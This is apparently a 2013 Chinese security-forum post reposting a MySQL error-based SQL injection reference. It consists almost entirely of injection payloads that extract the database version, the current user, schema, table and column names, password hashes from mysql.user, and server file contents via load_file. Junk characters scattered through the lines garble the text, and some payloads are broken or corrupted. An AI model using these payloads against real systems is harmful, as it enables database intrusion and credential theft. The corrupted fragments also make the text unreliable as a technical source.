本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 9 R0 w4 R/ O" `& V# s) e. O
* O" S6 n6 Z+ C8 g$ j! S
1 N: X- ^9 ~! ^1 w. P% Q5 A4 vMysql暴错注入参考(pdf),每天一贴。。。
8 D0 ?$ l2 t4 a5 c1 f8 L) A5 w6 S. x- Z% J& X0 y- q
MySql Error Based Injection Reference0 Z! Q" L/ \: A0 o$ P9 ]* X
[Mysql暴错注入参考]# K- b. T+ p$ v2 \3 N
Authornig0s19926 N3 a/ F1 W0 R9 o
Blog:http://pnig0s1992.blog.51cto.com/
+ B: t6 Q( [2 f3 OTeAm:http://www.FreeBuf.com/5 X" E$ [; W3 B
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功, s7 ]4 a2 t7 O) q' U- r
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
1 w2 _8 p; t9 L; ]查询版本:
5 w m6 ?; v1 pMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+8 y- Z& i0 L2 L4 p
join+(select+name_const(@@version,0))b)c)) k& T$ y+ M ]! I5 y( V# u; Z
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
& ^& c7 H% B5 ^3 r- I$ iup by a)b)! c% N0 F% p6 \ B# S; j# w
查询当前用户:7 L& J5 s( z* W( {4 r6 j- {& W' }
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
; [# f: H% \# i; I' rMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
2 p- c* S# u; X; N( {" j- Pand(0)*2))x+from+information_schema.tables+group+by+x)a)7 L5 y5 W5 G0 Y) b
查询当前数据库:, x" T3 b7 }2 d
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)% I2 N1 T5 J* f9 I4 f
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
2 g8 K/ k! N8 i8 \, u0 Nor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
) q$ E4 j) n# k& [ V g/ m, R依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
$ T# ^7 \4 S6 L; [) a- D$ J5 NLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
- U& U) w0 l0 d5 R# D# f顺序替换: C2 U# D# [/ f, ^, \) F' \0 z
爆指定库数目:
! \8 C" q& X& X( j: p+ uand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t+ a1 Y% [% l- E
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group! I4 D" I5 a4 f: p, C
+by+x)a)+and+1=1 0x6D7973716C=mysql- K% P2 o/ ~5 p. _8 z
依次爆表:
/ a) ]7 E8 l0 |! T3 yand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
6 `+ a# ?1 b" S. P( X( ]4 Cable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
) M, r9 n2 }: O' F; q" w/ X' M1 hbles+group+by+x)a)+and+1=1/ M5 e, h1 p6 E; e
0x6D7973716C=Mysql 将n顺序替换
# K3 H$ e" k- T* \) W' g爆表内字段数目:
0 E4 L, N6 @( S, T) W6 cand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE) m4 {2 `1 q+ f1 _* W/ H- ] u' \# z
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran# O0 I0 z0 q* f1 X
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
1 M) _4 L0 X$ i+ u4 `! r/ q依次爆字段:5 l3 l$ z; F8 m
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where$ @% X$ o2 S: l/ `& Q3 |
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1' F# ]1 [& y2 d- K' z! y! S2 F
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
$ T; ^+ B( c E; S# u! J7 e依次暴内容:! w0 j- |# d0 {/ G3 b1 ?4 N
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
, O: b* C; f o8 U3 ]1 e/ Cma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1; Q( i* ?* m* O9 d
将n顺序替换/ R K$ y3 D; U6 l9 l2 m
爆文件内容:. R) _$ W* [6 E6 B
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
4 k% p9 `/ {2 r" D) afrom+information_schema.tables+group+by+a)b)
$ @+ E) ?' {2 m4 ^# J0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
1 I Z* v( @! y1 J9 DThx for reading.6 ]6 u* ~; ^$ F1 g3 K B
8 h; v$ n V4 c" U9 |
不要下载也可以, 6 f0 x5 w' ^( E& z$ M
|